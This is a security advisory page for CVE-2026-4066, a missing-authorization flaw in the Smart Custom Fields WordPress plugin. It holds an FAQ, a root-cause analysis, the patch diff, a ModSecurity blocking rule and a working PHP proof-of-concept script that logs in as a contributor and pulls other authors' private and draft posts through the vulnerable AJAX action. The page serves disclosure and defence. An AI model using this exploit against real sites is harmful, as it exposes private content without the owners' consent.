What is CVE-2026-4066?

CVE-2026-4066 is a medium-severity vulnerability in the Smart Custom Fields plugin for WordPress, affecting versions up to and including 5.0.6. It allows authenticated users with Contributor-level access and above to read private and draft post content from other authors due to a missing authorization check in the relational_posts_search() function.

How does the vulnerability work?

The vulnerability occurs because the relational_posts_search() function only checks if a user can edit posts of a certain type but does not verify if they have permission to read specific posts. This allows an authenticated user to retrieve full content of private and draft posts via an AJAX request.

Who is affected by this vulnerability?

Any WordPress site using the Smart Custom Fields plugin version 5.0.6 or earlier is affected. Specifically, authenticated users with Contributor-level permissions or higher can exploit this vulnerability to access sensitive information.

How can I check if my site is vulnerable?

To check if your site is vulnerable, verify the version of the Smart Custom Fields plugin installed. If it is version 5.0.6 or earlier, your site is at risk. Additionally, you can review the code for the relational_posts_search() function to confirm the absence of proper authorization checks.

How can I fix this vulnerability?

The vulnerability is fixed in version 5.0.7 of the Smart Custom Fields plugin. To mitigate the issue, update the plugin to the latest version as soon as possible. Regularly updating all plugins and themes is a best practice for maintaining security.

What does the CVSS score of 4.3 indicate?

A CVSS score of 4.3 is classified as medium severity, indicating that the vulnerability poses a moderate risk. While it requires authenticated access to exploit, the potential for sensitive information exposure makes it important to address promptly.

What is a proof of concept (PoC) in this context?

The proof of concept provided demonstrates how an attacker can exploit the vulnerability by sending a crafted AJAX request after logging into a WordPress site as a Contributor. It illustrates the steps needed to retrieve unauthorized post content, highlighting the practical implications of the vulnerability.

What is the impact of this vulnerability on a WordPress site?

Exploitation of this vulnerability can lead to unauthorized access to sensitive content, including private posts and drafts. This not only violates confidentiality but can also lead to reputational damage and loss of trust among users and authors.

Are there any additional security measures I should take?

In addition to updating the plugin, consider implementing role-based access controls, regularly auditing user permissions, and employing security plugins that monitor for unauthorized access attempts. Regular backups and security training for users can also help mitigate risks.

What should I do if I cannot update the plugin immediately?

If immediate updates are not possible, you can temporarily disable the Smart Custom Fields plugin to prevent exploitation. Additionally, review user roles and limit access for Contributors and above until the plugin can be updated.

How can I stay informed about future vulnerabilities?

To stay informed about vulnerabilities, subscribe to security mailing lists, follow relevant security blogs, and regularly check the CVE database. Additionally, consider using security tools that provide alerts for known vulnerabilities in your installed plugins.

What is the significance of the missing capability check?

The missing capability check in the relational_posts_search() function is critical because it allows users to bypass intended access controls. Proper capability checks are essential for ensuring that users can only access content they are authorized to view.

Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : March 24, 2026

CVE-2026-4066: Smart Custom Fields <= 5.0.6 – Missing Authorization to Authenticated (Contributor+) Sensitive Information Exposure via Relational Post Search (smart-custom-fields)

CVE ID CVE-2026-4066

Plugin smart-custom-fields

Severity Medium (CVSS 4.3)

CWE 862

Vulnerable Version 5.0.6

Patched Version 5.0.7

Disclosed March 22, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-4066:
The Smart Custom Fields WordPress plugin, versions up to and including 5.0.6, contains an authorization bypass vulnerability. The flaw allows authenticated users with Contributor-level permissions or higher to read private and draft post content from other authors. The vulnerability resides in the relational post search functionality.

The root cause is a missing post-level capability check in the `relational_posts_search()` function within the `class.field-related-posts.php` file. The function, which handles the `smart-cf-relational-posts-search` AJAX action, queried posts with `post_status=any` and returned full `WP_Post` objects. It only performed a generic `edit_posts` capability check at the post type level (lines 87-95 in the vulnerable code). This check, performed via `current_user_can( $post_type_object->cap->edit_posts )`, validated if a user could edit posts of a given type but did not verify if they had permission to read each specific post returned by the query.

An attacker exploits this by sending a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `smart-cf-relational-posts-search`. The request must include parameters like `post_types` and `s` (search term) to trigger the vulnerable `relational_posts_search()` function. An authenticated user with the `edit_posts` capability, such as a Contributor, can use this endpoint to search for and retrieve the full content of posts, including private posts and drafts authored by other users, which they should not be able to read.

The patch refactors the authorization logic. It introduces three new protected methods: `get_retrievable_post_types()`, `filter_readable_posts_for_current_user()`, and `prepare_posts_for_response()`. The `get_retrievable_post_types()` method centralizes the post-type-level `edit_posts` check. Crucially, the `filter_readable_posts_for_current_user()` method applies a post-level permission filter using `current_user_can( ‘read_post’, $post->ID )` to the results of `get_posts()` (lines 129 and 193). The `prepare_posts_for_response()` method also limits the data returned to only `ID`, `post_title`, and `post_status`, preventing exposure of the full `post_content` field.

Successful exploitation leads to sensitive information disclosure. An attacker can exfiltrate the full content of private posts and drafts belonging to other authors. This violates confidentiality boundaries within a multi-author WordPress site and could expose unpublished content, private data, or proprietary information.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/smart-custom-fields/classes/fields/class.field-file.php
+++ b/smart-custom-fields/classes/fields/class.field-file.php
@@ -83,7 +83,7 @@
 					'<a href="%s" target="_blank"><img src="%s" alt="%s" />%s</a>%s',
 					wp_get_attachment_url( $value ),
 					esc_url( $image_src ),
-					$image_alt,
+					esc_attr( $image_alt ),
 					esc_attr( $filename ),
 					$btn_remove
 				);
--- a/smart-custom-fields/classes/fields/class.field-image.php
+++ b/smart-custom-fields/classes/fields/class.field-image.php
@@ -82,7 +82,7 @@
 				$image      = sprintf(
 					'<img src="%s" alt="%s" />%s',
 					esc_url( $image_src ),
-					$image_alt,
+					esc_attr( $image_alt ),
 					$btn_remove
 				);
 				$hide_class = '';
--- a/smart-custom-fields/classes/fields/class.field-related-posts.php
+++ b/smart-custom-fields/classes/fields/class.field-related-posts.php
@@ -83,15 +83,7 @@
 		$post_types = filter_input( INPUT_POST, 'post_types' );
 		if ( $post_types ) {
 			$post_type              = explode( ',', $post_types );
-			$retrievable_post_types = array();
-
-			foreach ( $post_type as $_post_type ) {
-				$post_type_object = get_post_type_object( $_post_type );
-
-				if ( current_user_can( $post_type_object->cap->edit_posts ) ) {
-					$retrievable_post_types[] = $_post_type;
-				}
-			}
+			$retrievable_post_types = $this->get_retrievable_post_types( $post_type );

 			if ( $retrievable_post_types ) {
 				$args = array(
@@ -137,7 +129,8 @@
 				*/
 				$args = apply_filters( SCF_Config::PREFIX . 'custom_related_posts_args_ajax_call', $args, $field_name, $post_type );

-				$_posts = get_posts( $args );
+				$_posts = $this->filter_readable_posts_for_current_user( get_posts( $args ) );
+				$_posts = $this->prepare_posts_for_response( $_posts );
 			}
 		}

@@ -174,15 +167,7 @@
 		$posts_per_page = get_option( 'posts_per_page' );

 		if ( $post_type ) {
-			$retrievable_post_types = array();
-
-			foreach ( $post_type as $_post_type ) {
-				$post_type_object = get_post_type_object( $_post_type );
-
-				if ( current_user_can( $post_type_object->cap->edit_posts ) ) {
-					$retrievable_post_types[] = $_post_type;
-				}
-			}
+			$retrievable_post_types = $this->get_retrievable_post_types( $post_type );

 			if ( $retrievable_post_types ) {
 				if ( ! preg_match( '/^d+$/', $limit ) ) {
@@ -208,7 +193,7 @@
 				$args = apply_filters( SCF_Config::PREFIX . 'custom_related_posts_args_first_load', $args, $name, $post_type );

 				// Get posts to show in the first load.
-				$choices_posts = get_posts( $args );
+				$choices_posts = $this->filter_readable_posts_for_current_user( get_posts( $args ) );
 			}
 		}

@@ -292,6 +277,66 @@
 		);
 	}

+	/**
+	 * Returns post types that the current user can edit.
+	 *
+	 * @param array $post_types Post type slugs.
+	 * @return array
+	 */
+	protected function get_retrievable_post_types( $post_types ) {
+		$retrievable_post_types = array();
+
+		foreach ( $post_types as $_post_type ) {
+			$post_type_object = get_post_type_object( $_post_type );
+
+			if ( ! $post_type_object ) {
+				continue;
+			}
+
+			if ( current_user_can( $post_type_object->cap->edit_posts ) ) {
+				$retrievable_post_types[] = $_post_type;
+			}
+		}
+
+		return $retrievable_post_types;
+	}
+
+	/**
+	 * Returns only posts readable by the current user.
+	 *
+	 * @param array $posts Posts.
+	 * @return array
+	 */
+	protected function filter_readable_posts_for_current_user( $posts ) {
+		$posts = array_filter(
+			$posts,
+			function ( $post ) {
+				return current_user_can( 'read_post', $post->ID );
+			}
+		);
+
+		return array_values( $posts );
+	}
+
+	/**
+	 * Returns only fields needed by the related posts UI.
+	 *
+	 * @param array $posts Posts.
+	 * @return array
+	 */
+	protected function prepare_posts_for_response( $posts ) {
+		return array_map(
+			function ( $post ) {
+				return (object) array(
+					'ID'          => $post->ID,
+					'post_title'  => get_the_title( $post->ID ),
+					'post_status' => $post->post_status,
+				);
+			},
+			$posts
+		);
+	}
+
 	/**
 	 * Displaying the option fields in custom field settings page.
 	 *
--- a/smart-custom-fields/smart-custom-fields.php
+++ b/smart-custom-fields/smart-custom-fields.php
@@ -3,7 +3,7 @@
  * Plugin name: Smart Custom Fields
  * Plugin URI: https://github.com/inc2734/smart-custom-fields/
  * Description: Smart Custom Fields is a simple plugin that management custom fields.
- * Version: 5.0.6
+ * Version: 5.0.7
  * Author: inc2734
  * Author URI: https://2inc.org
  * Text Domain: smart-custom-fields

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity

# Atomic Edge WAF Rule - CVE-2026-4066
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:1004066,phase:2,deny,status:403,chain,msg:'CVE-2026-4066 via Smart Custom Fields AJAX - Unauthorized Relational Post Search',severity:'MEDIUM',tag:'CVE-2026-4066',tag:'wordpress',tag:'plugin-smart-custom-fields'"
  SecRule ARGS_POST:action "@streq smart-cf-relational-posts-search" "chain"
    SecRule &ARGS_POST:post_types "!@eq 0" "chain"
      SecRule ARGS_POST:post_types "@rx ^[a-zA-Z0-9_,-]+$" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-4066 - Smart Custom Fields <= 5.0.6 - Missing Authorization to Authenticated (Contributor+) Sensitive Information Exposure via Relational Post Search

<?php

$target_url = 'http://vulnerable-wordpress-site.com';
$username   = 'contributor_user';
$password   = 'contributor_password';

// Step 1: Authenticate to WordPress to obtain cookies and nonce
$login_url = $target_url . '/wp-login.php';
$ajax_url  = $target_url . '/wp-admin/admin-ajax.php';

// Create a cURL handle for session persistence
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Perform login
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
)));
$login_response = curl_exec($ch);

// Step 2: Exploit the vulnerable AJAX endpoint to search for private/draft posts
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
// The 's' parameter is a search term; an empty string may return many posts.
// The 'post_types' parameter specifies which post types to query.
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
    'action' => 'smart-cf-relational-posts-search',
    'post_types' => 'post', // Can also include 'page' or other types
    's' => '' // Empty search to potentially get all posts
)));

$exploit_response = curl_exec($ch);
curl_close($ch);

// Output the response containing potentially unauthorized post data
echo "Exploit Response:n";
echo $exploit_response;

?>

Frequently Asked Questions

What is CVE-2026-4066?
Overview of the vulnerability
CVE-2026-4066 is a medium-severity vulnerability in the Smart Custom Fields plugin for WordPress, affecting versions up to and including 5.0.6. It allows authenticated users with Contributor-level access and above to read private and draft post content from other authors due to a missing authorization check in the relational_posts_search() function.
How does the vulnerability work?
Mechanism of exploitation
The vulnerability occurs because the relational_posts_search() function only checks if a user can edit posts of a certain type but does not verify if they have permission to read specific posts. This allows an authenticated user to retrieve full content of private and draft posts via an AJAX request.
Who is affected by this vulnerability?
Identifying impacted users
Any WordPress site using the Smart Custom Fields plugin version 5.0.6 or earlier is affected. Specifically, authenticated users with Contributor-level permissions or higher can exploit this vulnerability to access sensitive information.
How can I check if my site is vulnerable?
Assessment steps
To check if your site is vulnerable, verify the version of the Smart Custom Fields plugin installed. If it is version 5.0.6 or earlier, your site is at risk. Additionally, you can review the code for the relational_posts_search() function to confirm the absence of proper authorization checks.
How can I fix this vulnerability?
Patch and update guidance
The vulnerability is fixed in version 5.0.7 of the Smart Custom Fields plugin. To mitigate the issue, update the plugin to the latest version as soon as possible. Regularly updating all plugins and themes is a best practice for maintaining security.
What does the CVSS score of 4.3 indicate?
Understanding severity levels
A CVSS score of 4.3 is classified as medium severity, indicating that the vulnerability poses a moderate risk. While it requires authenticated access to exploit, the potential for sensitive information exposure makes it important to address promptly.
What is a proof of concept (PoC) in this context?
Demonstrating the vulnerability
The proof of concept provided demonstrates how an attacker can exploit the vulnerability by sending a crafted AJAX request after logging into a WordPress site as a Contributor. It illustrates the steps needed to retrieve unauthorized post content, highlighting the practical implications of the vulnerability.
What is the impact of this vulnerability on a WordPress site?
Consequences of exploitation
Exploitation of this vulnerability can lead to unauthorized access to sensitive content, including private posts and drafts. This not only violates confidentiality but can also lead to reputational damage and loss of trust among users and authors.
Are there any additional security measures I should take?
Enhancing site security
In addition to updating the plugin, consider implementing role-based access controls, regularly auditing user permissions, and employing security plugins that monitor for unauthorized access attempts. Regular backups and security training for users can also help mitigate risks.
What should I do if I cannot update the plugin immediately?
Interim mitigation strategies
If immediate updates are not possible, you can temporarily disable the Smart Custom Fields plugin to prevent exploitation. Additionally, review user roles and limit access for Contributors and above until the plugin can be updated.
How can I stay informed about future vulnerabilities?
Monitoring security updates
To stay informed about vulnerabilities, subscribe to security mailing lists, follow relevant security blogs, and regularly check the CVE database. Additionally, consider using security tools that provide alerts for known vulnerabilities in your installed plugins.
What is the significance of the missing capability check?
Understanding the root cause
The missing capability check in the relational_posts_search() function is critical because it allows users to bypass intended access controls. Proper capability checks are essential for ensuring that users can only access content they are authorized to view.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations